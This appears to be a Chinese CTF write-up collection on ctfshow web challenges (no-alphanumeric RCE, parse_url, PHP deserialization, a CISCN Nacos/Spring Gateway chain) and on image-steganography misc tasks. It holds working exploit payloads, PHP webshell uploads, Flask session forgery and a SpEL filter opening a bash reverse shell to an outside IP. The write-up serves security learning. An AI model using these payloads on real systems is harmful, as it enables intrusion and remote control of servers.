
 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

这个题多过滤了1,但这也挺好解决的,我那篇无字母数字rce黑魔法也提到过一个神奇的脚本变量,那就是$#,他表示#后的字符数:

所以用${##}代替上文中的1即可:

ctf_show=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

极限命令执行5

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

做到这里的时候经过研究我写了利用shell脚本变量构造无字母数字命令,提出了几种无字母数字命令构造方法以及脚本,但抽象的是我试了之后发现这些payload这里没法打,为什么呢,我们看到出题人的描述:

没错,g4师傅出题的时候发现${!?}或者${!#}在php里没法构造bash所以放弃了构造,最后把这两个都ban了。。。

所以让我们来学习官方解吧,用取反做的:

ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
#level5
import requests
url="http://15a309e4-9e6d-4a18-8767-7be0a1efdfa9.challenge.ctf.show/"
cmd='cat /flag'

r = {}

x='$((~$(())))'#-1

for i in range(1,9):
        r[i]='$((~$(('+x
        for j in range(i):
                r[i]+=x
        r[i]+='))))'

r[0]='$(())'

payload='__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
        payload+='\\\\'
        for i in oct(ord(c))[2:]:
                payload+=r[int(i)]

payload+='\\\''


r=requests.post(url,data={"ctf_show":payload,})
print(r.text)

PARSE_URL

第一关

<?php

$data = parse_url($_GET['u']);

eval($data['host']);

取的是$data[‘host’],也就是域名,其实你也可以直接var_dump($data);看看都是什么参数代表什么意思,先在本地搭个环境,调试好自己的payload,最后我的payload:

?u=http://@eval($_POST[1]);
POST:1=system("cat /*f*");

这样取的域名就是@eval($_POST[1]);,直接写入源码里相当于一句话木马了

第二关

 <?php

$data = parse_url($_GET['u']);

include $data['host'].$data['path']; 

这里include包含了$data[‘host’].$data[‘path’],也就是域名加路径,我比赛的时候想包含日志一直没包含成功,然后用第一题去看了下发现日志没启用,所以这里我们可以包含伪协议,比如include php://input,这样就会把我们post的数据直接写入源码里,然后post一个<?php system(“cat /*f*”);即可拿到flag。

我尝试的时候发现,首先,因为.$data[‘path’];,而路径里肯定是有/的,所以想要构造php://input传入的url肯定是url//input这种形式,然后就是这个:,因为一个:会被识别成端口号,你用两个:比如http://php::得到的$data[‘host’]就是php:,所以两相结合即可,最后payload:

/?u=http://php:://input
POST:<?php system("cat /*f*");

第三关

<?php
$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];

$data[‘scheme’]是协议的意思,也就是比如http://,所以这次就是包含协议+路径,思路还是和上次一样构造php://input,把协议换成php:://就行了,取的就是php:

/?u=php:://input
POST <?php system("cat /*f*");

第四关

<?php

$data = parse_url($_GET['u']);

system($data['host']);

最简单的一集,直接执行域名的值,域名里不能有/,而flag在根目录,怎么办呢,我之前写过一个CTF里读取文件相关知识点总结,里面提到过用${PATH:0:1}代替/的原理以及变种,所以直接执行即可,payload:

?u=https://cat ${PATH:0:1}*f*:

至于为什么最后有一个:,还是和之前一样,url取值的话会把最后一个:后面的值当端口号,所以我们多加一个:放在最后就可以控制前面的值了

第五关

 <?php
extract(parse_url($_GET['u']));
include $$$$$$host;

extract() 函数会把数组中把变量导入到当前的符号表中,比如

<?php $a = 'Original';
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a;
\$b = $b;
\$c = $c";
?>

输出

$a = Cat;
$b = Dog;
$c = Horse

经过parse_url($_GET[‘u’])处理之后我们url的各个参数其实本来也就变得像数组一样,所以我们现在只需要控制各个参数的值使最后解析出来的$$$$$$host为php://input,做这个题的时候我本地调试了蛮久的,我的测试代码是:

<?php
highlight_file(__FILE__);

$url_array = parse_url($_GET['u']);#传入?u=query://pass:scheme@user/?fragment%23php://input
var_dump($url_array);
extract($url_array);


echo "<br>";

echo "\$host:".$host;
echo "<br>";
echo "\$\$host:".$$host;
echo "<br>";
echo "\$\$\$host:".$$$host;
echo "<br>";
echo "\$\$\$\$host:".$$$$host;
echo "<br>";
echo "\$\$\$\$\$host:".$$$$$host;
echo "<br>";
echo "\$\$\$\$\$\$host:".$$$$$$host;
// include $$$$$$host;
/*输出:
array(7) { ["scheme"]=> string(5) "query" ["host"]=> string(4) "user" ["user"]=> string(4) "pass" ["pass"]=> string(6) "scheme" ["path"]=> string(1) "/" ["query"]=> string(8) "fragment" ["fragment"]=> string(11) "php://input" }
$host:user
$$host:pass
$$$host:scheme
$$$$host:query
$$$$$host:fragment
$$$$$$host:php://input */

所以用不同参数名慢慢构造就行了,因为fragment是最可控的,完全没有啥限制,所以我最后就让[“query”]=> string(8) “fragment”,这样$$query就会解析出来$fragment的值,前面几个参数的作用也就是互相跳转互相解析直到最后跳转到fragment,最后payload:

/?u=query://pass:scheme@user/?fragment%23php://input
POST: <?php system("cat /*f*");?>

第六关

<?php
$data = parse_url($_GET['u']);

file_put_contents($data['path'], $data['host']);

url里如果出现了?会被直接分隔掉,被视作请求参数,而我们能写入的内容只有$data[‘host’],也就是域名那个位置的,所以我们可以想到不用问号的一句话木马,用<script>脚本写,最后poc:

?u=http://<script language="php">system('ls ${PWD::1}*f*');:/var/www/html/1.php

也就是把命令写到网站目录里的1.php去,然后编一下码:

/?u=http://%3Cscript%20language=%22php%22%3Esystem('cat%20$%7BPWD::1%7D*f*');:/var/www/html/1.php

然后访问1.php即可拿到flag

CISCN国赛

Unzip

CISCN初赛 by NotEnoughEffort

go_session

CISCN初赛 by NotEnoughEffort

BackendService

在ctfshow上再复现一下

先打一个CVE-2021-29441添加账户

POST /v1/auth/users?username=crow&password=crow HTTP/1.1
Host: 1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show
Connection: close
Referer: http://1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show/
Cookie: _ga=GA1.2.178448525.1671190440

用这个账号和密码登录进去。查看jar里内网服务器的配置(直接解压)

可以看到ctfshow上的环境是和国赛当时的环境不一样的,这里的name必须为backcfg,配置的格式必须为yaml,照着我这个来就行,添加一条配置:

{
    "id": "aaa",
    "order": 0,
    "predicates": [
      {
        "args": {
          "_genkey_0": "/test/**"
        },
        "name": "Path"
      }
    ],"filters": [
{
    "name": "AddResponseHeader",
    "args": {
"name":"result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/43.153.175.155/9383 0>&1'}).getInputStream())).replaceAll(\"\n\",\"\").replaceAll(\"\r\",\"\")}"}
  }],
    "uri": "http://example.com"
  }

菜狗杯

web签到

<?php

error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

让cookie中”CTFshow-QQ群:”的值等于a,这样接收到的$_COOKIE[‘CTFshow-QQ群:’]就等效于a,代码执行的就是:

eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);

用post传一个a=b,这样$_POST[a]就等效于b,代码执行的就是:

eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);

用get传一个b=c,这样$_GET[b]就等效于c,代码执行的就是:

eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);

对于$_REQUEST[c][6][0][7][5][8][0][9][4][4],$_REQUEST可以用任何一种方式请求,我们这里采用post方法上传。而c为数组,$_REQUEST请求中传入的值是取的C数组中ID键为[6][0][7][5][8][0][9][4][4]的值,因此可以给C数组中的这些键直接赋值:c[6][0][7][5][8][0][9][4][4]= system(‘ls /’);

然后注意一下对”群”字进行编码,不然bp没法识别,然后就可以执行命令了:

/?b=c
Cookie:CTFshow-QQ%E7%BE%A4:=a
a=b&c[6][0][7][5][8][0][9][4][4]=system('ls /');

然后system(‘cat /f*’);即可

web2 c0me_t0_s1gn

我的眼里只有$

有趣的一道题

<?php
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

对于extract函数,我们post传入_=a那么$_=a,如果在post传入a=b那么$$_=b,以此照推,最后一个就是我们执行命令。

import string
s = string.ascii_letters 
t='_=a&'
code='system("cat /f*");'
for i in range(35):
    t+=s[i]+"="+s[i+1]+'&'

t+=s[i]+'='+code
print(t)
#_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system("cat /f*");

抽老婆

下载老婆处存在一个任意文件下载

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

可以看到我们需要伪造身份前往/secret_path_U_never_know,下个工具伪造下

python3 flask_session_cookie_manager3.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo\!"
#eyJpc2FkbWluIjp0cnVlfQ.Y5x4EA.mp5viAKszMXpwwwZhEWzsP0KAXI

一言既出

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

因为是弱比较,所以可以用:?num=114514+1805296,编码后也就是?num=114514%2B1805296

但又因assert函数跟eval函数类似,能够执行php,所以直接闭合也行

?num=114514);//
?num=114514)==1 or system('ls');#
编码一下:?num=114514)==1%20or%20system('ls')%3B%23

驷马难追

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
?num=114514%2b1805296

TapTapTap

感觉和web没啥关

Webshell

<?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?>
<?php
class Webshell {
public $cmd = 'cat *';
}
$a=new Webshell();
echo serialize($a);
?> 
#O:8:"Webshell":1:{s:3:"cmd";s:5:"cat *";} 

化零为整

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

原理很简单,”大牛” = “%E5%A4%A7%E7%89%9B”,而我们传入的字符长度不能大于一,所以拆开拼成“大牛“即可

无一幸免

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}
?0=0

不知道考点是啥

传说之下(雾)

算力超群

一眼ssti

/_calculate?number1=&operator=&number2=__import__(%27os%27).popen(%27cat%20/f*%27).read()

算力升级

import gmpy2
s = " __import__('os').popen('cat /flag').read()"


payload = "gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("

for i in s:
    if i not in "/'(). ":
        temp_index = 0   # 定义临时下标
        temp_string = ''  # 定义临时字符串
        for j in dir(gmpy2):
            if j.find(i) >= 0:
                temp_string = j
                temp_index = j.find(i)
        payload += f'"{temp_string}"[{temp_index}]+'
    else:
        payload += f'"{i}"+'

payload = payload[:-1]+')'   # 最后一位是个+号,要给去掉

print(payload)
#gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]](" "+"xbit_mask"[4]+"xbit_mask"[4]+"xbit_mask"[2]+"xmpz"[1]+"xmpz"[2]+"zero"[3]+"zero"[2]+"zeta"[2]+"xbit_mask"[4]+"xbit_mask"[4]+"("+"'"+"zero"[3]+"xbit_mask"[7]+"'"+")"+"."+"xmpz"[2]+"zero"[3]+"xmpz"[2]+"zeta"[1]+"yn"[1]+"("+"'"+"unpack"[4]+"zeta"[3]+"zeta"[2]+" "+"/"+"root_of_unity"[6]+"rint_floor"[6]+"zeta"[3]+"sign"[2]+"'"+")"+"."+"zero"[2]+"zeta"[1]+"zeta"[3]+"t_mod_2exp"[4]+"("+")")

easyPytHon_P

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

关键在于

tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

作用就是对当前目录执行[cmd[:3], param, __file__],其中cmd半可控,param可控_file_是个固定值。

这样就可以执行ls /

故cmd=awk&param=system(“cat *”)即可

或者也可以先

cmd=ls&param=.  #.是当前目录

cmd=cat&param=flag.txt

遍地飘零

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}
?_GET=flag

没找到考点

茶歇区

考点是整形溢出,php无法计算太大的数,999999999999999999太多了

3446744073709551616差不多,拿到flag了

小舔田?

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

简单的批爆,好久没见过这么淳朴的pop题了:

Moon::__wakeup()
↓↓↓
Ion_Fan_Princess::__toString()
↓↓↓
Ion_Fan_Princess::call()
<?php
class Moon{
        public $name;
}
class Ion_Fan_Princess{
        public $nickname="小甜甜";
}
$a=new Moon();
$a->name=new Ion_Fan_Princess();
echo urlencode(serialize($a));
#?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D

LSB探姬

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():    
    return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            f = request.files['file']
            f.save('upload/'+f.filename)
            cmd="python3 tsteg.py upload/"+f.filename
            result=os.popen(cmd).read()
            data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
            return jsonify(data)
        except:
            data={"code":1,"message":"file upload error!"}
            return jsonify(data)
    else:
        return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
    return render_template('source.html')
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)

Is_Not_Obfuscate

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT 

改完前端点执行就能解密了

Anything is good?Please test it. <?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}

?>

利用好push和pull即可,先用push传马,再用pull执行它

?action=push&output=<?php eval($_GET[1]);?>
?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("cat /f*");
#d6e1f0ec8980b49f6061227495a77a44 为 <?php eval($_GET[1]);?> youyou的md5值;

龙珠NFT

没太懂,参考

import requests
import json
import base64
import random
url='http://18a60993-f1a3-4ba2-87e2-05d8deae3763.challenge.ctf.show/'


s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]

for i in range(10):
        r=s.get(url+'find_dragonball')
        responses.append(json.loads(r.text))

for item in responses:
        data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
        miwen=base64.b64decode(item['address'])
        round_no=item['round_no']
        if round_no in [str(i) for i in range(1,8)]:
                fake_address=miwen[:64]+miwen[80:]
                fake_address=base64.b64encode(fake_address).decode()
                r=s.get(url+'get_dragonball',params={"address":fake_address})

r=s.get(url+'flag')
print(r.text)

无一幸免_FIXED

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die("nonono!");
    }
    else{
        die($flag);
    }
}
?> 

revenage版本。$arr[]=1意思是在数组中追加一个数并且赋值为1,比如数组种只有0,1,2,他就会赋值让$arr[3]=1,所以永真了,所以我们得让它失效。考点是索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败,32位最大是231-1,64位是263-1,也就是2147483647与9223372036854775807,所以输入?0=9223372036854775807即可

MISC

图片篇(基础操作)

misc1

图片里就是flag,识别一下文字就行了

misc2

附件是一个txt,内容一看就知道其实是个png,改后缀成png然后就是flag了

misc3

bpg图片,正常不能打开,下载个可以读的软件:https://bellard.org/bpg/

bpgview.exe misc3.bpg

misc4

附件六个文本还有一个没后缀。

一眼png,改后缀为png

一眼jpg

一眼bmp

一眼gif

tif图片,没见过

riff,没见过

最后一个misc4里是一个词频分析,不过出来的flag没啥用,正确的flag就是把前六个图片后缀改了拼在一起

图片篇(信息附加)

misc5

附在文件尾

misc6

ctrl f就搜到了

misc7

ctrl f就搜到了

misc8

foremost分离图片

misc9

ctrl f

misc10

binwalk -e 然后第一个文件就是flag

misc11

多个IDAT数据导致显示不出来flag,删除其他IDAT数据,只保留flag的即可得到flag。
具体做法就是把第一个IDAT块的png数据删除,然后另存为一张新图片

misc12

用pngdebugger misc12.png没跑出来有IDAT数据crc错误,经测试需要删掉前8个IDAT块

misc13

13是这样的,文件里一共塞了四个flag,需要判断哪一个是正确的。根据题目提示,“flag位置”在文件末尾,找到文件末尾的IEND块,会发现这个块是14字节而非通常的12字节,也就是说这个块除了4位长度、4位标识和4位CRC,还带了两位数据(通常IEND块是不带数据的,但它也可以带,这应该就是本题知识点)。这两位数据就是正确flag开头那个c字符的字节序号。换句话说其实先找到IEND块里这个序号,然后去找对应的字节,一眼就能看到flag了。强行硬找的话一般会找到第一个,那个是假的;
a="631A74B96685738668AA6F4B77B07B216114655336A5655433346578612534DD38EF66AB35103195381F628237BA6545347C3254647E373A64E465F136FA66F5341E3107321D665438F1333239E9616C7D"

flag=""
for i in range(0,len(a),4):
    hexStr=a[i:i+2]
    flag+=chr(int("0x"+hexStr,16))
print(flag)

所以一句话,就是找最后一个区块数据里的flag,隔一个提取即可

misc14

直接binwalk -e分离不出来,但是看执行结果可以知道就是从2103位开始隐藏了个图片,所以直接用dd命令从2103位开始提取即可:

dd if=misc14.jpg of=flag.jpg skip=2103 bs=1

misc15

ctrl f

misc16

binwalk -e即可

misc17

zsteg发现有额外数据,使用zsteg -E “extradata:0” misc17.png > flag.txt把额外数据提取出来

然后binwalk -e flag.txt即可

misc18

exiftool misc18.jpg

misc19

exiftool misc19.tif

misc20

exiftool misc20.jpg

misc21

exiftool misc21.jpg

把这四段数字转十六进制拼在一起包上ctfshow{}就是flag了

misc22

缩略图隐写

exiftool -ThumbnailImage -b misc22.jpg > 1.jpg

ctfshow{dbf7d3f84b0125e833dfd3c80820a129}

misc23

Timestamp指的是时间戳,DECtoHEX是十进制转十六进制,所以就是把History When : 1997:09:22 02:17:02+08:00, 2055:07:15 12:14:48+08:00, 2038:05:05 16:50:45+08:00, 1984:08:03 18:41:46+08:00转成时间戳再转成16进制

misc41

题目描述是H4ppy Apr1l F001’s D4y!010打开全局搜索F0 01,可以发现高亮组成了flag(真有想象力的一道题)

ctfshow{fcbd427caf4a52f1147ab44346cd1cdd} 有几个说实话一直没看清

图片篇(文件结构)

misc24

要改宽高了,PuzzleSolver!启动!

misc25

同上

misc26

同上

misc27

jpg没法爆破了,自己改大点吧,运行jpg模板,把Y那里改大点

misc28

下面还有一个ushort ImageHeight,没截完,反正把height都改大了就行了

misc29

把每一帧都拉大,在第八帧就看到flag了

misc30

PuzzleSolver!启动!

misc31

继续启动!

misc32

还得启动!

misc33

仍然启动!

misc34

再次启动!

misc35

先把高度改成600,可以看到flag了,然后写脚本遍历宽度

import struct
filename = "misc35.jpg"
with open(filename, 'rb') as f:
    data = f.read()
    for i in range(901,1000):
        name = str(i) + ".jpg"
        f1 = open(name,"wb")
        new = data[:159]+struct.pack('>h',i)+data[161:]
        f1.write(new)
        f1.close()

998看到flag

misc36

高度改成300可以看到flag的影子,然后继续爆破宽度即可

import os
import binascii
import struct 
bp = open("misc36.gif", "rb").read()    
#for i in range(901,1500):
for i in range(920,951):
    #根据题目给的图片格式修改后缀
    image_name=''+str(i)+'.jpg'
    image=open(image_name,"wb")
    #png 
    #data=bp[:16] + struct.pack('>i', i)+bp[20:24]+bp[24:]#png
    #jpg
    #data=bp[:157]+bp[157:159] + struct.pack('>h', i)+bp[161:]  #jpg
    #gif
    data=bp[:38]+ struct.pack('>h', i)[::-1]+bp[40:42] +bp[42:]#gif
    image.write(data)
    image.close()

misc37

有些帧里藏了flag,一个一个找即可

misc38

apng隐写,其实就是png形式的gif罢了,honeyview看即可

misc39

不同帧之间的时间间隔进行隐写

identify -format "%T " misc39.gif > 1.txt

得到的一串36和37,考虑把37换成1、36换成0,每7位转一个字符

